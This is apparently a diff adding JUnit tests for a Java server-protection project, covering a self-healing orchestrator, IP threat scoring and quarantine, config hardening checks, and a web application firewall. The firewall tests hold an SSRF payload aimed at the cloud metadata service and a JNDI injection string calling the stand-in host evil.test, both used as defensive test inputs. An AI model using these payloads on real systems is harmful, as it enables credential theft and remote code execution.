WebApplicationFirewall waf = new WebApplicationFirewall();
|
||||
AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
|
||||
|
||||
taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeProcessMonitor extends ProcessMonitor {
|
||||
private boolean running = false;
|
||||
private int restartAttempts = 0;
|
||||
|
||||
private FakeProcessMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isProcessRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartProcess() {
|
||||
restartAttempts++;
|
||||
running = true;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeBackupService extends BackupService {
|
||||
private FakeBackupService(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public BackupResult performScheduledBackup() {
|
||||
BackupResult result = new BackupResult();
|
||||
result.setName("test-backup");
|
||||
result.setSuccess(true);
|
||||
result.setBackupPath("/tmp/test-backup");
|
||||
result.setStartTime(java.time.LocalDateTime.now());
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeRconClient extends RconClient {
|
||||
private int clearLagCalls = 0;
|
||||
|
||||
private FakeRconClient(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean clearLag() {
|
||||
clearLagCalls++;
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean setSpawnRate(int rate) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean enableWhitelist() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String executeCommand(String command) {
|
||||
return "ok";
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartServer() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
package com.aluer.kernel;
|
||||
|
||||
import com.aluer.ai.AIStrategyEngine;
|
||||
import com.aluer.audit.SecurityAuditService;
|
||||
import com.aluer.backup.BackupService;
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.model.MetricsData;
|
||||
import com.aluer.monitor.ProcessMonitor;
|
||||
import com.aluer.monitor.ResourceMonitor;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.DDoSProtectionService;
|
||||
import com.aluer.security.FirewallService;
|
||||
import com.aluer.security.GeoIPService;
|
||||
import com.aluer.security.IPReputationService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.security.NetworkMonitorService;
|
||||
import com.aluer.security.NetworkThreatFusionService;
|
||||
import com.aluer.security.PacketInspectionService;
|
||||
import com.aluer.security.PortScanDetectionService;
|
||||
import com.aluer.security.RateLimitService;
|
||||
import com.aluer.security.SecurityBaselineHardeningService;
|
||||
import com.aluer.security.TrafficAnalysisService;
|
||||
import com.aluer.security.WebApplicationFirewall;
|
||||
import com.aluer.service.RconClient;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class AluerSelfHealingOrchestratorTest {
|
||||
|
||||
@Test
|
||||
void healingCyclePlansRecoveryForDeadProcessAndResourceEmergency() {
|
||||
Fixture fixture = new Fixture();
|
||||
|
||||
AluerSelfHealingOrchestrator.HealingCycle cycle = fixture.orchestrator.runHealingCycle("test");
|
||||
Map<String, Object> cycleMap = cycle.toMap();
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
List<Map<String, Object>> plan = (List<Map<String, Object>>) cycleMap.get("plan");
|
||||
@SuppressWarnings("unchecked")
|
||||
List<Map<String, Object>> results = (List<Map<String, Object>>) cycleMap.get("results");
|
||||
|
||||
assertFalse((Boolean) cycleMap.get("processRunning"));
|
||||
assertTrue(plan.stream().anyMatch(item -> "PROCESS_RECOVERY".equals(item.get("type"))));
|
||||
assertTrue(plan.stream().anyMatch(item -> "RELIEVE_PRESSURE".equals(item.get("type"))));
|
||||
assertTrue(results.stream().anyMatch(item -> "PROCESS_RECOVERY".equals(item.get("type"))));
|
||||
assertTrue(results.stream().anyMatch(item -> "RELIEVE_PRESSURE".equals(item.get("type"))));
|
||||
}
|
||||
|
||||
private static final class Fixture {
|
||||
private final ServerGuardConfig config = new ServerGuardConfig();
|
||||
private final FakeProcessMonitor processMonitor;
|
||||
private final FakeResourceMonitor resourceMonitor;
|
||||
private final FakeBackupService backupService;
|
||||
private final FakeRconClient rconClient;
|
||||
private final AluerSelfHealingOrchestrator orchestrator;
|
||||
|
||||
private Fixture() {
|
||||
config.getSecurity().getKernel().setEnabled(false);
|
||||
config.getSecurity().getTaskBus().setEnabled(true);
|
||||
config.getSecurity().getTaskBus().setAutoDispatch(false);
|
||||
config.getSecurity().getSelfHealing().setEnabled(false);
|
||||
config.getSecurity().getSelfHealing().setDryRun(false);
|
||||
config.getSecurity().getSelfHealing().setAutoBackupBeforeRecovery(true);
|
||||
config.getMinecraft().getRcon().setPassword("strong-rcon-password");
|
||||
|
||||
processMonitor = new FakeProcessMonitor(config);
|
||||
resourceMonitor = new FakeResourceMonitor(config);
|
||||
backupService = new FakeBackupService(config);
|
||||
rconClient = new FakeRconClient(config);
|
||||
|
||||
DDoSProtectionService ddos = new DDoSProtectionService();
|
||||
FirewallService firewall = new FirewallService();
|
||||
IntrusionDetectionService intrusion = new IntrusionDetectionService();
|
||||
NetworkMonitorService networkMonitor = new NetworkMonitorService();
|
||||
TrafficAnalysisService traffic = new TrafficAnalysisService();
|
||||
PortScanDetectionService portScan = new PortScanDetectionService();
|
||||
PacketInspectionService packetInspection = new PacketInspectionService();
|
||||
IPReputationService ipReputation = new IPReputationService();
|
||||
GeoIPService geoIP = new GeoIPService();
|
||||
RateLimitService rateLimit = new RateLimitService();
|
||||
NetworkThreatFusionService fusion = new NetworkThreatFusionService(
|
||||
ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, geoIP, rateLimit
|
||||
);
|
||||
|
||||
SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
|
||||
CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusion);
|
||||
WebApplicationFirewall waf = new WebApplicationFirewall();
|
||||
AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
|
||||
AIStrategyEngine strategyEngine = new AIStrategyEngine();
|
||||
SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
|
||||
AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
|
||||
|
||||
orchestrator = new AluerSelfHealingOrchestrator(
|
||||
config,
|
||||
kernel,
|
||||
taskBus,
|
||||
resourceMonitor,
|
||||
processMonitor,
|
||||
hardening,
|
||||
auditService
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeProcessMonitor extends ProcessMonitor {
|
||||
private FakeProcessMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isProcessRunning() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartProcess() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeResourceMonitor extends ResourceMonitor {
|
||||
private FakeResourceMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public MetricsData collectMetrics() {
|
||||
MetricsData data = new MetricsData();
|
||||
data.setTps(10.5);
|
||||
data.setCpuUsage(96.0);
|
||||
data.setMemoryUsage(97.0);
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeBackupService extends BackupService {
|
||||
private FakeBackupService(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public BackupResult performScheduledBackup() {
|
||||
BackupResult result = new BackupResult();
|
||||
result.setName("heal-backup");
|
||||
result.setSuccess(true);
|
||||
result.setBackupPath("/tmp/heal-backup");
|
||||
result.setStartTime(java.time.LocalDateTime.now());
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeRconClient extends RconClient {
|
||||
private FakeRconClient(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean clearLag() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean setSpawnRate(int rate) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean enableWhitelist() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String executeCommand(String command) {
|
||||
return "ok";
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartServer() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package com.aluer.security;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class NetworkThreatFusionServiceTest {
|
||||
|
||||
@Test
|
||||
void inspectIPCombinesSignalsIntoCriticalRisk() throws Exception {
|
||||
try (Fixture fixture = new Fixture()) {
|
||||
String ip = "203.0.113.10";
|
||||
|
||||
fixture.ddos.blockIP(ip, "SYN_FLOOD", "Traffic burst");
|
||||
fixture.firewall.addToBlacklist(ip);
|
||||
fixture.firewall.checkConnection(ip, "minecraft", 25565, "tcp");
|
||||
fixture.portScan.blockScanner(ip, "PORT_SCAN", "Scanned 25 ports");
|
||||
fixture.ipReputation.recordAttack(ip, "PORT_SCAN");
|
||||
fixture.ipReputation.addToBlacklist(ip);
|
||||
fixture.rateLimit.recordRejection(ip, "api", "Rate limit exceeded");
|
||||
fixture.packetInspection.inspectPacket(ip, Map.of("size", 12000));
|
||||
fixture.intrusion.triggerAlert("MALICIOUS_IP", "tester", "Known bad host", ip);
|
||||
|
||||
fixture.networkMonitor.recordInboundTraffic(ip, 20_000_000L, 100);
|
||||
for (int port = 20000; port < 20045; port++) {
|
||||
fixture.networkMonitor.recordConnection(ip, port, "tcp");
|
||||
}
|
||||
|
||||
for (int port = 30000; port < 30105; port++) {
|
||||
fixture.traffic.analyzePacket(ip, "198.51.100.1", port, 1500, "tcp");
|
||||
}
|
||||
|
||||
Map<String, Object> result = fixture.service.inspectIP(ip);
|
||||
|
||||
assertEquals(ip, result.get("ip"));
|
||||
assertEquals("critical", result.get("riskLevel"));
|
||||
assertTrue(((Integer) result.get("riskScore")) >= 80);
|
||||
assertTrue((Boolean) result.get("blocked"));
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
List<String> reasons = (List<String>) result.get("reasons");
|
||||
assertFalse(reasons.isEmpty());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void quarantineIPBlacklistsAcrossServices() throws Exception {
|
||||
try (Fixture fixture = new Fixture()) {
|
||||
String ip = "198.51.100.22";
|
||||
|
||||
Map<String, Object> result = fixture.service.quarantineIP(ip, "tester", "manual containment");
|
||||
|
||||
assertEquals("quarantined", result.get("status"));
|
||||
assertTrue((Boolean) result.get("blocked"));
|
||||
assertTrue((Boolean) result.get("quarantined"));
|
||||
assertTrue(fixture.ddos.isBlocked(ip));
|
||||
assertTrue(fixture.firewall.isBlacklisted(ip));
|
||||
assertTrue(fixture.ipReputation.isBlacklisted(ip));
|
||||
}
|
||||
}
|
||||
|
||||
private static final class Fixture implements AutoCloseable {
|
||||
private final DDoSProtectionService ddos = new DDoSProtectionService();
|
||||
private final FirewallService firewall = new FirewallService();
|
||||
private final IntrusionDetectionService intrusion = new IntrusionDetectionService();
|
||||
private final NetworkMonitorService networkMonitor = new NetworkMonitorService();
|
||||
private final TrafficAnalysisService traffic = new TrafficAnalysisService();
|
||||
private final PortScanDetectionService portScan = new PortScanDetectionService();
|
||||
private final PacketInspectionService packetInspection = new PacketInspectionService();
|
||||
private final IPReputationService ipReputation = new IPReputationService();
|
||||
private final GeoIPService geoIP = new GeoIPService();
|
||||
private final RateLimitService rateLimit = new RateLimitService();
|
||||
private final NetworkThreatFusionService service = new NetworkThreatFusionService(
|
||||
ddos,
|
||||
firewall,
|
||||
intrusion,
|
||||
networkMonitor,
|
||||
traffic,
|
||||
portScan,
|
||||
packetInspection,
|
||||
ipReputation,
|
||||
geoIP,
|
||||
rateLimit
|
||||
);
|
||||
|
||||
@Override
|
||||
public void close() throws Exception {
|
||||
shutdownExecutors(ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, rateLimit);
|
||||
}
|
||||
|
||||
private void shutdownExecutors(Object... services) throws Exception {
|
||||
for (Object service : services) {
|
||||
for (Field field : service.getClass().getDeclaredFields()) {
|
||||
field.setAccessible(true);
|
||||
Object value = field.get(service);
|
||||
if (value instanceof ExecutorService executorService) {
|
||||
executorService.shutdownNow();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.aluer.security;
|
||||
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class SecurityBaselineHardeningServiceTest {
|
||||
|
||||
@Test
|
||||
void assessCurrentBaselineFlagsWeakRemoteControlAndUnsafeAutonomyThresholds() {
|
||||
ServerGuardConfig config = new ServerGuardConfig();
|
||||
config.getMinecraft().getRcon().setEnabled(true);
|
||||
config.getMinecraft().getRcon().setPassword("");
|
||||
config.getSecurity().getAntiIntrusion().getFileIntegrity().setEnabled(false);
|
||||
config.getSecurity().getHostEnforcement().setEnabled(false);
|
||||
config.getAi().getDeepseek().getAutoExecute().setEnabled(true);
|
||||
config.getAi().getDeepseek().getAutoExecute().setMinConfidence(60);
|
||||
|
||||
SecurityBaselineHardeningService service = new SecurityBaselineHardeningService(config);
|
||||
SecurityBaselineHardeningService.HardeningReport report = service.assessCurrentBaseline();
|
||||
|
||||
assertTrue(report.getCriticalCount() >= 1);
|
||||
assertTrue(report.getHighCount() >= 1);
|
||||
assertTrue(report.getMediumCount() >= 1);
|
||||
assertTrue(report.getScore() < 80);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package com.aluer.security;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class WebApplicationFirewallTest {
|
||||
|
||||
@Test
|
||||
void blocksSsrfPayloadsTargetingMetadataService() {
|
||||
WebApplicationFirewall firewall = new WebApplicationFirewall();
|
||||
|
||||
WebApplicationFirewall.WAFResult result = firewall.checkRequest(
|
||||
"203.0.113.10",
|
||||
"GET",
|
||||
"/api/proxy",
|
||||
"url=http://169.254.169.254/latest/meta-data/",
|
||||
Map.of("User-Agent", "JUnit"),
|
||||
null
|
||||
);
|
||||
|
||||
assertTrue(result.isBlocked());
|
||||
assertTrue(result.getMatchedRules().contains("SSRF_ATTACK"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void blocksJndiInjectionPayloads() {
|
||||
WebApplicationFirewall firewall = new WebApplicationFirewall();
|
||||
|
||||
WebApplicationFirewall.WAFResult result = firewall.checkRequest(
|
||||
"203.0.113.11",
|
||||
"POST",
|
||||
"/login",
|
||||
null,
|
||||
Map.of("X-Api-Version", "${jndi:ldap://evil.test/a}"),
|
||||
null
|
||||
);
|
||||
|
||||
assertTrue(result.isBlocked());
|
||||
assertTrue(result.getMatchedRules().contains("JNDI_INJECTION"));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user